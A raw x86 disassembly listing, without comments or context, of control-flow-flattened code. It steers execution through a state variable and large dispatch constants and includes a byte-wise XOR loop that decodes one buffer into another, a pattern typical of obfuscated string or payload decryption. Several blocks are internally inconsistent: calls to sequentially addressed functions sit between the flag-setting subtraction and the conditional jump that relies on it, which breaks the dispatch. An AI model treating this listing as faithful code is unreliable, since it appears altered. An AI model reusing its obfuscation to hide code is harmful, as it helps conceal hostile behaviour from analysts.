mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0x68d56411
mov eax, dword [ebp - 0x24]
mov ecx, eax
sub ecx, 0x68d56410
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x304], ecx
jg 0x4380c9
jmp 0x437f28
mov eax, dword [ebp - 0x300]
sub eax, 0x41bbe838
call fcn.004388f0
jg 0x4380ad
jmp 0x437f43
mov eax, dword [ebp - 0x300]
sub eax, 0x9e2b77c7
mov dword [ebp - 0x30c], eax
jg 0x437f7b
jmp 0x437f5f
mov eax, dword [ebp - 0x300]
sub eax, 0x83c6d2a7
mov dword [ebp - 0x310], eax
je 0x438195
jmp 0x4380e4
mov eax, dword [ebp - 0x300]
sub eax, 0xadb7ae1e
mov dword [ebp - 0x314], eax
jg 0x437fb4
jmp 0x437f97
mov eax, dword [ebp - 0x300]
add eax, 0x61d48838
mov dword [ebp - 0x318], eax
je 0x438149
jmp 0x4380e4
call fcn.00438900
sub eax, 0xf5477059
mov dword [ebp - 0x31c], eax
jg 0x438091
jmp 0x437fcf
mov eax, dword [ebp - 0x300]
sub eax, 0xe67650f7
mov dword [ebp - 0x320], eax
jg 0x438075
jmp 0x437feb
mov eax, dword [ebp - 0x300]
sub eax, 0xddfba170
mov dword [ebp - 0x324], eax
jg 0x43805a
jmp 0x438007
mov eax, dword [ebp - 0x300]
sub eax, 0xadb7ae1f
mov dword [ebp - 0x328], eax
je 0x4381a1
jmp 0x438023
mov eax, dword [ebp - 0x300]
sub eax, 0xb561ca86
mov dword [ebp - 0x32c], eax
je 0x438106
jmp 0x43803f
call fcn.00438910
sub eax, 0xd1243fea
mov dword [ebp - 0x330], eax
je 0x438182
jmp 0x4380e4
mov eax, dword [ebp - 0x300]
sub eax, 0xddfba171
call fcn.004383f0
je 0x438161
jmp 0x4380e4
mov eax, dword [ebp - 0x300]
sub eax, 0xe67650f8
mov dword [ebp - 0x338], eax
je 0x43812f
jmp 0x4380e4
mov eax, dword [ebp - 0x300]
sub eax, 0xf547705a
mov dword [ebp - 0x33c], eax
je 0x43816b
jmp 0x4380e4
mov eax, dword [ebp - 0x300]
sub eax, 0x41bbe839
mov dword [ebp - 0x340], eax
je 0x438155
jmp 0x4380e4
mov eax, dword [ebp - 0x300]
sub eax, 0x68d56411
call fcn.00438400
je 0x4380e9
jmp 0x4380e4
jmp 0x43819c
mov eax, 0xd1243fea
mov ecx, 0xb561ca86
call fcn.00438410
cmp edx, dword [ebp - 0x18]
cmovb eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x43819c
pushfd
mov eax, 0x589abf17
sub eax, 0xba6f474f
popfd
mov ecx, 0xe67650f8
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x14]
cmove eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x43819c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], 0xadb7ae1f
jmp 0x43819c
mov dword [ebp - 0x24], 0x41bbe839
jmp 0x43819c
mov dword [ebp - 0x24], 0xddfba171
jmp 0x43819c
call fcn.00438420
jmp 0x43819c
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0x68d56411
jmp 0x43819c
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0xadb7ae1f
jmp 0x43819c
mov dword [ebp - 0x24], 0x41bbe839
jmp 0x437f06
mov eax, 0xb6c509a5
mov ecx, 0x83a0d948
call fcn.00438430
mov dword [ebp - 0xa0], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xd8], 0x141f1d94
jmp 0x4383e5
mov eax, 0xbac4b029
mov ecx, 0xb942bd0b
mov edx, dword [ebp - 0xbc]
call fcn.00438440
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov eax, 0xf3fc4bf7
mov ecx, 0x5774e517
mov edx, dword [ebp - 0xb4]
mov esi, dword [ebp - 0xa8]
movzx edx, byte [esi + edx]
mov esi, dword [ebp - 0xb8]
mov edi, esi
add edi, 1
mov dword [ebp - 0xb8], edi
mov edi, dword [ebp - 0x8c]
movzx esi, byte [edi + esi + 1]
xor edx, esi
mov bl, dl
mov edx, dword [ebp - 0xb4]
mov esi, dword [ebp - 0xac]
mov byte [esi + edx], bl
mov edx, dword [ebp - 0xb8]
mov esi, dword [ebp - 0x8c]
movzx esi, byte [esi]
cmp edx, esi
cmove eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov eax, 0x54a7ab23
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov eax, 0x6dfcfc55
call fcn.00438450
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov dword [ebp - 0xd8], 0xf3fc4bf7
jmp 0x4383e5
call fcn.00438460
jmp 0x4383e5
mov eax, dword [ebp - 0xbc]
add eax, 1
call fcn.00438470
mov eax, dword [ebp - 0xb4]
add eax, 1
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xd8], 0x141f1d94
jmp 0x4383e5
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xb0]
add ecx, eax
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xd8], 0xb40e1e5b
jmp 0x4383e5
mov eax, 0x324cc413
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov eax, 0x9002a16f
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0xa8]
mov bl, byte [edx + ecx]
call fcn.00438480
mov edx, dword [ebp - 0xac]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0xb4]
add ecx, 1
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov dword [ebp - 0xd8], 0xb40e1e5b
jmp 0x4383e5
mov dword [ebp - 0xd8], 0xb903b1d2
jmp 0x4383e5
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0xd8], 0x3781961a
jmp 0x4383e5
mov eax, dword [ebp - 0x7c]
add esp, 0x348
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xd8], 0x54a7ab23
jmp 0x4383e5
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xa8]
mov dl, byte [ecx + eax]
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xac]
mov byte [ecx + eax], dl
mov eax, dword [ebp - 0xb4]
add eax, 1
mov dword [ebp - 0xb4], eax
call fcn.00438490
jmp 0x43692b